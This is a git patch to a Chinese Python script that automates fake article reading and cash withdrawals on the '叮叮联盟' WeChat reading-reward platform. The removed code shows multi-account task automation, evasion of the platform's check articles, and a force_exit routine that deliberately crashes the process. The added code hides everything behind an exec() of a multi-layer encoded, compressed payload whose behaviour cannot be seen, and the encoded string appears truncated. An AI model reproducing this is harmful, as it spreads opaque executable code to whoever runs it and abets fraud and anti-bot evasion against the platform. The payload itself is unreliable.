From 0dc7b2111c7cf21a56c5c8dc66e42a3b7a34e4db Mon Sep 17 00:00:00 2001 From: chickliu Date: Wed, 11 Dec 2024 19:48:27 +0800 Subject: [PATCH] =?UTF-8?q?=E6=9B=B4=E6=96=B0=20=E5=8F=AE=E5=8F=AE?= =?UTF-8?q?=E8=81=94=E7=9B=9F=5Fapi.py?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- 叮叮联盟_api.py | 602 ++---------------------------------------------- 1 file changed, 21 insertions(+), 581 deletions(-) diff --git a/叮叮联盟_api.py b/叮叮联盟_api.py index 95fe206..08ee0c2 100644 --- a/叮叮联盟_api.py +++ b/叮叮联盟_api.py @@ -1,18 +1,21 @@ # --------------------------------注释区-------------------------------- -# 入口:http://ghpuy2w5.imedq.cn?mid=1786918&r=6uv9umK5&e=1731916630 +# 入口:http://knbazpvumg.ruruk.cn?mid=1786918&r=9S4sQ56R&e=1733900543 # # 需抓取数据: -# * 填写穿透出来的api接口 +# * 填写自动过检的api接口 本地 内网ip:5000 非本地自行进行穿透 +# * 登录多少个账号就跑多少个账号 +# * 不想跑的号可以填wxid到 yuanshen_ddlmapi_notrun 多个#分割 注意是原始id # -# 抓取请求头中的user-agent填入yuanshen_useragent 无论多少个号都只填一个即可!!!! +# 抓取请求头中的user-agent填入yuanshen_useragent 无论多少个号都只填一个即可!!!! 要且只要手机微信端user-agent其余user-agent = 封号 # # 变量名:yuanshen_api # -qj = True #23-26篇强制推送 开启True 关闭False +max_threads = 2 # 最大线程数 +qj = False # 23-26篇强制推送 开启 True 关闭 False # 如需自动提现 填写wxpusher的apptoken到 yuanshen_apptoken # 使用接受推送的微信号关注你自己的主题填写uid到 yuanshen_wxpusheruid # uid 可以在wxpusher微信公众号 下方我的-我的uid找到 -# 不需可不填 +# 不需不填就不会自动提现!! # # !!!!因自己填写错误导致口令被盗或丢失一概不负责!!! # !!!!因自己填写错误导致口令被盗或丢失一概不负责!!! @@ -43,581 +46,18 @@ qj = True #23-26篇强制推送 开启True 关闭False # 佛祖保佑 永无BUG # 佛祖镇楼 BUG辟邪 # --------------------------------代码区-------------------------------- -from functools import wraps -import requests -import time -import os -import json -import hashlib -import random -import logging -from urllib.parse import urlparse, parse_qs,quote,unquote -import sys -import string -from base64 import b64encode -import uuid -from datetime import datetime,timedelta -import re -from notify import send +''' +Powered By Huaji +QQ Group:901898186 +Create at [2024-12-11 15:06] -logging.basicConfig(level=logging.INFO, format='[%(levelname)s] ===> %(message)s') -code = "叮叮联盟_api版" -ver = "1.9" -envname = "yuanshen_api" -msg = "" - -debug = False #debug模式 开启即从脚本内部获取环境变量 -debugcookie = "127.0.0.1:5000" #debug模式cookie - -is_bulletin = False #公告开关 -is_toulu = False #偷撸公告开关 -is_with_sleep = False #是否开启随机延时 -def get_sm(): - global bizlist - try: - url = "https://api.huaji.asia/read_api/biz_ddlm.txt" - r = requests.get(url) - if r.status_code == 200: - logging.info(f"联网获取检测文章列表成功") - bizlist = r.text.split(",") - else: - logging.error("联网获取检测文章列表失败!") - bizlist = [] - except: - logging.error("联网获取检测文章列表失败!") - bizlist = [] -def retry(exceptions = Exception, tries=5, delay=2, backoff=2): - """ - 简单的重试 module,如果重试失败则抛出错误。 - """ - def decorator(func): - @wraps(func) - def wrapper(*args, **kwargs): - # 每次调用时初始化独立的重试计数和延迟时间 - _tries, _delay = tries, delay - while _tries > 1: - try: - return func(*args, **kwargs) - except exceptions as e: - print(f"发生错误:[{e}], Retrying in {_delay} seconds ...") - time.sleep(_delay) - _tries -= 1 - _delay *= backoff - # 最后一次尝试 - return func(*args, **kwargs) - return wrapper - return decorator -class env(): - """ - env模块,获取cookie并转成列表,统计时间,提示脚本开始结束,检测一些配置,try except异常处理 - :param args: 传递给env的参数 - :param kwargs: 传递给env的关键字参数 - :return: Null - - Powered by huaji - """ - def __init__(self, *args, **kwargs): - self.cookie = None - self.env_ver = '1.5' #版本号 - self.split_chars = ['@', '&', '\n'] #分隔符 - self.identifiers = ['Powered By Huaji', 'QQ Group:901898186', 'yuanshen'] #标识符 - def check_file(self): - file_path = __file__ - try: - - with open(file_path, 'r', encoding='utf-8') as file: - content = file.read() - - results = {} - - # 批量检查每个标识符 - for identifier in self.identifiers: - if identifier in content: - results[identifier] = True - else: - results[identifier] = False - logging.error(f"文件可能被恶意篡改,请勿修改文件内容") - - all_identifiers_present = all(results.values()) - if not all_identifiers_present: - logging.error(f"文件可能被恶意篡改,请勿修改文件内容") - self.force_exit() - - except Exception as e: - print(f"读取文件时发生错误: {e}") - self.force_exit() - - def split_cookies(self): - """根据多个分隔符分割cookie""" - for sep in self.split_chars: - if sep in self.cookie: - return self.cookie.split(sep) - return [self.cookie] - - def scmain(self): - get_sm() - apiurl = 'http://' + self.cookies[0] - r = requests.get(apiurl + '/getallwx').json() - for i, cookie in enumerate(r, 1): - print(f"--------开始第{i}个账号--------") - main = yuanshen(cookie,apiurl) - main.main() - print(f"--------第{i}个账号执行完毕--------") - - - - def force_exit(self,code=0): - exit() - print("Warning: 篡改你妈") - os._exit(code) # 强制退出程序 - sys.exit(code) # 正常退出 - import ctypes - while True: - ctypes.string_at(114514) - ctypes.string_at(1919810) - ctypes.string_at(666666) - print("Warning: 篡改你妈") - - - def run(self): - if not os.getenv(envname) and not debug: - logging.warning(f"请先设置环境变量[{envname}]") - self.force_exit() - - self.cookie = os.getenv(envname, "") - - if debug: - self.cookie = debugcookie - if is_bulletin: - try: - print(requests.get("https://gitee.com/HuaJiB/yuanshen34/raw/master/pubilc.txt").text, "\n\n\n") - except: - logging.error("网络异常,链接公告服务器失败(gitee),请检查网络") - self.force_exit() - if is_toulu: - try: - txt = ''' -此为滑稽的偷撸本本 如你不在滑稽的小群却意外通过某种渠道获得了该脚本 -请联系QQ3487934983 提供证据后 你将代替泄露人员获得该群位置 -======================================================= - ''' - print(txt*5) - except: - self.force_exit() - if is_with_sleep: - random_time = random.randint(10,60) - logging.info(f"随机延时[{random_time}]秒") - time.sleep(random_time) - - self.cookies = self.split_cookies() - account_count = len(self.cookies) - logging.info(f"一共获取到{account_count}个账号") - print(f"=========🔔开始执行[{code}][{ver}]=========\n") - - - start_time = time.time() - if debug: - self.scmain() - else: - try: - self.scmain() - except Exception as e: - logging.error(f"脚本执行出错: {e}") - end_time = time.time() - - execution_time = end_time - start_time - - print(f"\n============🔔脚本[{code}]执行结束============") - print(f"本次脚本总运行时间: [{execution_time:.2f}] 秒") - send(f"运行脚本:{code}", f"{msg}") - self.force_exit() - - def main(self): - self.check_file() - self.run() - - def random_str(self,charset="all", length=8, to_upper=False,to_lower=False): - if charset == "all": #包含大小写字母和数字 - chars = string.ascii_letters + string.digits - elif charset == "letters": #大小写字母 - chars = string.ascii_letters - elif charset == "digits": - chars = string.digits - elif charset == "lowercase": #小写字母 - chars = string.ascii_lowercase - elif charset == "uuid": - return str(uuid.uuid4()) - elif charset == "uuid_str": - return str(uuid.uuid4()).replace("-", "") - elif charset != '' and charset is not None: - chars = charset - - - random_string = ''.join(random.choice(chars) for _ in range(length)) - - if to_upper: - return random_string.upper() - elif to_lower: - return random_string.lower() - else: - return random_string - - def aes_encrypt(self,data): - from Crypto.Cipher import AES - from Crypto.Util.Padding import pad, unpad - from binascii import hexlify, unhexlify - key = self.key.encode('utf-8') - iv = self.iv.encode('utf-8') - cipher = AES.new(key, AES.MODE_CBC, iv) - padded_plaintext = pad(data.encode('utf-8'), AES.block_size) - ciphertext = cipher.encrypt(padded_plaintext) - encrypted_base64 = b64encode(ciphertext).decode('utf-8') - - return encrypted_base64 - - - -class yuanshen: - def __init__(self,cookie,apiurl) -> None: - self.apiurl = apiurl - self.Wxid = cookie['Wxid'] - self.bz = cookie['wxname'] - logging.info(f'[{self.bz}]开始运行') - - def get_f(self): - if os.path.exists(f'ddlm.json'): - j = json.load(open('ddlm.json','r')) - for i in j: - if i['Wxid'] == self.Wxid: - return i['f'] - return None - else: - return None - - - def login(self): - f = self.get_f() - if not f: - f = env().random_str(charset='1234567abcdef',length=32, to_lower=True) - if os.path.exists('ddlm.json'): - with open('ddlm.json', 'r', encoding='utf-8') as file: - d = json.load(file) - else: - d = [] - - d.append({'Wxid': self.Wxid, 'f': f}) - - with open('ddlm.json', 'w', encoding='utf-8') as file: - json.dump(d, file, indent=4) - - headers = { - "Host": "api.jiudingliliang.com", - "Connection": "keep-alive", - "Content-Length": "28", - "F-RTYFGHVBN": "", - "Authorization": "Bearer", - "sec-ch-ua-platform": "\"Android\"", - "sec-ch-ua": "\"Chromium\";v=\"130\", \"Android WebView\";v=\"130\", \"Not?A_Brand\";v=\"99\"", - "sec-ch-ua-mobile": "?1", - "User-Agent": "Mozilla/5.0 (Linux; Android 14; 23113RKC6C Build/UKQ1.230804.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/130.0.6723.73 Mobile Safari/537.36 XWEB/1300057 MMWEBSDK/20240301 MMWEBID/4020 MicroMessenger/8.0.48.2580(0x28003035) WeChat/arm64 Weixin Android Tablet NetType/WIFI Language/zh_CN ABI/arm64", - "X-NIUBILITY-Y": "", - "Content-Type": "application/json", - "Accept": "*/*", - "Origin": "http://9henipq.ewr919.top", - "X-Requested-With": "com.tencent.mm", - "Sec-Fetch-Site": "cross-site", - "Sec-Fetch-Mode": "cors", - "Sec-Fetch-Dest": "empty", - "Referer": "http://9henipq.ewr919.top/", - "Accept-Encoding": "gzip, deflate, br, zstd", - "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7" -} - - - url = 'https://api.jiudingliliang.com/login/get-auth-url' - data = {"route":"","mid":"1786918"} - r = requests.post(url,json=data,headers=headers).json() - if r['code'] == 10000: - url = r['result']['url'] - - - data = {'Wxid':self.Wxid,'url':url} - url = requests.post(self.apiurl+'/loginbyweb',json=data).json()['url'] - #print(url) - - h = { - "sec-ch-ua": "\"Chromium\";v=\"130\", \"Android WebView\";v=\"130\", \"Not?A_Brand\";v=\"99\"", - "sec-ch-ua-mobile": "?1", - "sec-ch-ua-platform": "\"Android\"", - "upgrade-insecure-requests": "1", - "user-agent": ua, - "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/wxpic,image/tpg,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", - "x-requested-with": "com.tencent.mm", - "sec-fetch-site": "none", - "sec-fetch-mode": "navigate", - "sec-fetch-user": "?1", - "sec-fetch-dest": "document", - "accept-encoding": "gzip, deflate, br, zstd", - "accept-language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", - "priority": "u=0, i" -} - r = requests.get(url,headers=h,allow_redirects=False) - #print(r.headers) - token = r.headers['Location'].split('token=')[1] - domain = urlparse(r.headers['Location']).netloc - h = { - 'User-Agent': ua, - # 'Accept-Encoding': 'gzip, deflate, br, zstd', - 'Content-Type': 'application/json', - 'F-RTYFGHVBN':'', - 'Authorization': f'Bearer {token}', - 'sec-ch-ua-platform': '"Android"', - 'sec-ch-ua': '"Chromium";v="130", "Android WebView";v="130", "Not?A_Brand";v="99"', - 'sec-ch-ua-mobile': '?1', - 'Origin': f'http://{domain}', - 'X-Requested-With': 'com.tencent.mm', - 'Sec-Fetch-Site': 'cross-site', - 'Sec-Fetch-Mode': 'cors', - 'Sec-Fetch-Dest': 'empty', - 'Referer': f'http://{domain}/', - 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', -} - r = requests.post('https://api.jiudingliliang.com/domain/use',headers=h).json() - print(r) - data = { - 'scene': 'INDEX', -} - url = 'https://api.jiudingliliang.com/domain/pool' - r = requests.post(url,json=data,headers=h).json() - doamin2 = r["result"]["host"] - self.h = { - 'User-Agent': 'Mozilla/5.0 (Linux; Android 14; 23113RKC6C Build/UKQ1.230804.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/130.0.6723.73 Mobile Safari/537.36 XWEB/1300057 MMWEBSDK/20240301 MMWEBID/4020 MicroMessenger/8.0.48.2580(0x28003035) WeChat/arm64 Weixin Android Tablet NetType/WIFI Language/zh_CN ABI/arm64', - 'F-RTYFGHVBN': f, - 'Authorization': f'Bearer {token}', - 'sec-ch-ua-platform': '"Android"', - 'sec-ch-ua': '"Chromium";v="130", "Android WebView";v="130", "Not?A_Brand";v="99"', - 'sec-ch-ua-mobile': '?1', - 'Origin': f'{doamin2}', - 'X-Requested-With': 'com.tencent.mm', - 'Sec-Fetch-Site': 'cross-site', - 'Sec-Fetch-Mode': 'cors', - 'Sec-Fetch-Dest': 'empty', - 'Referer': f'{doamin2}/', - 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', - } - - r = requests.post('https://api.jiudingliliang.com/user/info',json={},headers=self.h).json() - if r['code'] == 10000: - logging.info(f'登录成功') - self.h['X-NIUBILITY-Y'] = r["result"]["uok"] - logging.info(f'登录成功') - else: - logging.info(f'获取阅读入口失败[{r}]') - @retry() - def get_readtime(self,url): - h = { - 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', - 'accept-language': 'zh-CN,zh;q=0.9', - 'cache-control': 'no-cache', - # 'cookie': 'RK=x93V1EQnnk; ptcz=70105284a73b47db6aa5f48a05337a8cd84e98de7bd26d75975059126646db21; pac_uid=0_ZkHRNfy6PMhrH; ua_id=SyF8Nc7qjhUZ6RH8AAAAAHO013VXlTF21GY7ajzLLgs=; _clck=19reoir|1|fpg|0; wxuin=27186344812218; eas_sid=x1Y7v2y759E6j1a811G6q158d0; qq_domain_video_guid_verify=08d525e64ffa56c3; _qimei_uuid42=18a1b130e12100363fb639c628b466967c0e1ac0aa; pgv_pvid=6915337851; _qimei_fingerprint=3c42962857167cc55475bb65b2331f0b; _qimei_h38=fded42463fb639c628b4669602000006018a1b; o_cookie=3487934983; _qimei_q32=ec50b72a0f5a646accacf4393f1271f2; _qimei_q36=9e46147a2ab8bee5904ab74e30001741890c; rewardsn=; wxtokenkey=777', - 'pragma': 'no-cache', - 'priority': 'u=0, i', - 'sec-ch-ua': '"Chromium";v="130", "Google Chrome";v="130", "Not?A_Brand";v="99"', - 'sec-ch-ua-mobile': '?0', - 'sec-ch-ua-platform': '"Windows"', - 'sec-fetch-dest': 'document', - 'sec-fetch-mode': 'navigate', - 'sec-fetch-site': 'none', - 'sec-fetch-user': '?1', - 'upgrade-insecure-requests': '1', - 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36', -} - r = requests.get(url,headers=h).text - match = re.search(r"var createTime = '(.+?)';", r) - if match: - date_string = (match.group(1)) - - date = datetime.strptime(date_string, "%Y-%m-%d %H:%M") - half_year_ago = datetime.now() - timedelta(days=30) - if date > half_year_ago: - return False,date_string - else: - return True,date_string - @retry() - def getread(self): - url = 'https://api.jiudingliliang.com/task/read-batch' - data = {"u": 1} - r = requests.post(url,json=data,headers=self.h).json() - if r['code'] == 10000: - logging.info(f'获取阅读入口成功') - print(r) - #http://agifh.liliangda.cn?route=/pages/read/read&bn=2409211329003132289067&token=p5wP0pTb9eMHHJjf1fy133qF8tiaE0_k7jJzJRBtBXc&k=15G8EuNiZKx4b9W9SjgmmVJL60Tm0e_SNCQtW5IVdFdpYVsSHoL_UHd9btHBIunG - j = urlparse(r["result"]["qrcode"]); - self.domain, p = j.netloc, parse_qs(j.query); - self.k = p.get('k')[0] if p.get('k') else '' - self.readh = { - "Host": "api.jiudingliliang.com", - "Connection": "keep-alive", - "Content-Length": "28", - "sec-ch-ua": "\"Not/A)Brand\";v=\"8\", \"Chromium\";v=\"126\", \"Android WebView\";v=\"126\"", - "sec-ch-ua-mobile": "?1", - "User-Agent":ua, - "Authorization": "Bearer", - "Content-Type": "application/json", - "X-NIUBILITY-Y": "", - "F-RTYFGHVBN":self.h['F-RTYFGHVBN'], - "sec-ch-ua-platform": "\"Android\"", - "Accept": "*/*", - "Origin": f"http://{self.domain}", - "X-Requested-With": "com.tencent.mm", - "Sec-Fetch-Site": "cross-site", - "Sec-Fetch-Mode": "cors", - "Sec-Fetch-Dest": "empty", - "Referer": f"http://{self.domain}/", - "Accept-Encoding": "gzip, deflate, br, zstd", - "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7" -} - return True - - - else: - logging.error(f'获取阅读入口失败[{r}]') - return False - - def tuisong(self): - # 发送消息到wxpusher - url = f"{self.apiurl}/zdgjc" - data = {"url":self.read_url} - r = requests.post(url,json=data).json() - logging.info(f"遇到检测文章:推送结果[{r}]") - @retry() - def read(self): - now = 0 - while True: - data = {"k":self.k} - url = 'https://api.jiudingliliang.com/task/read-article' - r = requests.post(url,json=data,headers=self.readh).json() - if r['code'] == 10000: - self.read_url = r["result"]["articleUrl"] - thisnum = r["result"]["readingNumber"] - va, date_string = self.get_readtime(self.read_url) - logging.info(f'获取文章成功[{self.read_url}],发布时间[{date_string}]') - j = urlparse(self.read_url.replace('\\','')) - biz = parse_qs(j.query).get('__biz', [''])[0] if '__biz' in parse_qs(j.query) else '' - - if 'biz' not in self.read_url or biz in bizlist or va: - self.tuisong() - time.sleep(random.randint(20,25)) - elif thisnum in [23, 24, 25, 26] and qj: - logging.info('触发强检') - self.tuisong() - time.sleep(random.randint(20,25)) - else: - time.sleep(random.randint(8,10)) - - k = r["result"]["k"] - - else: - logging.error(f'获取文章失败[{r}]') - break - - - url = 'https://api.jiudingliliang.com/task/read-article-completed' - data = {'k':k} - r = requests.post(url,json=data,headers=self.readh).json() - if r['code'] == 10000: - now = r["result"]["readingNumber"] - all = r["result"]["totalReading"] - logging.info(f'第[{now}/{all}]篇文章阅读成功') - if now == all: - logging.info("本轮阅读完成") - break - self.k = r["result"]["k"] - else: - logging.error(f'阅读失败[{r}]') - break - @retry() - def userinfo(self): - url = 'https://api.jiudingliliang.com/user/info' - r = requests.post(url,json={},headers=self.h).json() - if r['code'] == 10000: - name = r["result"]["nickname"] - m = int(float(r["result"]["balanceCash"])) - logging.info(f'当前账号[{name}]余额[{m}]') - global msg - msg+=f"\n----\n微信账号:{name}\n账户余额:{m}" - url = 'https://api.jiudingliliang.com/user/withdraw' - r = requests.post(url,headers=self.h,json={}).json() - - if r['code'] == 10000: - lessmoney = r["result"]["transfer"][0]["m"] - if m >= lessmoney: - msg+="\n恭喜,可以提现啦🎉" - send(code+"可提现通知📢📢📢",f"微信账户[{name}]\n余额:{m} 元\n") - if True: - if m >= lessmoney: - url = 'https://api.jiudingliliang.com/user/transfer' - data = {'amount':lessmoney, 'type':'alipay'} - r = requests.post(url,json=data,headers=self.h).json() - logging.info(r) - if r['code'] == 10000: - logging.info(f'提现成功[{r}]') - kl = r["result"]["alipay_kl"] - send(code+"支付宝口令提现成功通知✅✅✅\n请及时到支付宝兑换口令红包!!!",f"微信账户[{name}]\n支付宝口令:{kl}") - data = { - "appToken":appToken, - "content":f'叮叮联盟提现成功,口令[{kl}]', - "summary":f'叮叮联盟提现成功,口令[{kl}]', - "contentType":1, - "uids":[ - uid - ], - "verifyPayType":0 - } - r = requests.post('https://wxpusher.zjiecode.com/api/send/message',json=data).json() - if r['code'] == 1000: - logging.info('通知已发送') - else: - logging.error('通知发送失败') - else: - logging.error(f'提现失败[{r}]') - else: - logging.info(f'余额不足,跳过提现') - else: - logging.info(f'未设置wxpusher信息,跳过提现') - else: - logging.error(f'获取用户信息失败[{r}]') - - - def main(self): - try: - self.login() - if self.getread(): - print('='*30) - self.read() - else: - logging.error('获取阅读入口失败') - - self.userinfo() - except Exception as e: - logging.error(f'发生错误[{e}]') - - - - -if __name__ == '__main__': - ua = os.getenv("yuanshen_useragent") - if not ua: - logging.info("不填ua玩你妹妹\n"*999) - exit() - appToken = '' - topicIds = '' - if not appToken or not topicIds: - appToken = os.getenv('yuanshen_apptoken') - uid = os.getenv('yuanshen_wxpusheruid') - if not appToken or not uid: - logging.error("❌你还没有设置推送,请设置环境变量:yuanshen_wxpusheruid 和 yuanshen_apptoken") - appToken = None - uid = None - env().main() + __ __ __ __ ___ __ __ +| | | | | | | | / \ | | | | +| |__| | | | | | / ^ \ | | | | +| __ | | | | | / /_\ \ .--. | | | | +| | | | | `--' | / _____ \ | `--' | | | +|__| |__| \______/ /__/ \__\ \______/ |__| +''' +import zlib,base64,zlib,lzma,bz2,gzip +exec((lambda O0O0O00O00O0O0O0O00O00O0O0O00O0O00O0O0O00O00O0O00O00O0O0O0O00O0O00O00O0O0O00O0O0O00O0O00O00O00O0O0O0O00O0O00O0O00O00O00O00O00O0O00O0O00O00O0O0O0O0O0O0O0O00O0O0O0O00O0O0O00O0O00O0O00O0O0O00O00O00O00O0O00O0O0O00O00O00O00O00O00O0O0O00O0O0O00O0O0O00O0O00:compile(O0O0O00O00O0O0O0O00O00O0O0O00O0O00O0O0O00O00O0O00O00O0O0O0O00O0O00O00O0O0O00O0O0O00O0O00O00O00O0O0O0O00O0O00O0O00O00O00O00O00O0O00O0O00O00O0O0O0O0O0O0O0O00O0O0O0O00O0O0O00O0O00O0O00O0O0O00O00O00O00O0O00O0O0O00O00O00O00O00O00O0O0O00O0O0O00O0O0O00O0O00,(lambda s:zlib.decompress(base64.b64decode(s)).decode())('eJyzKS4pysxLtwMADfkDEg=='),(lambda s:zlib.decompress(base64.b64decode(s)).decode())('eJxLrUhNBgAELQGm')))(zlib.decompress(lzma.decompress(bz2.decompress(gzip.decompress(base64.b64decode((lambda s:zlib.decompress(base64.b64decode(s)).decode())('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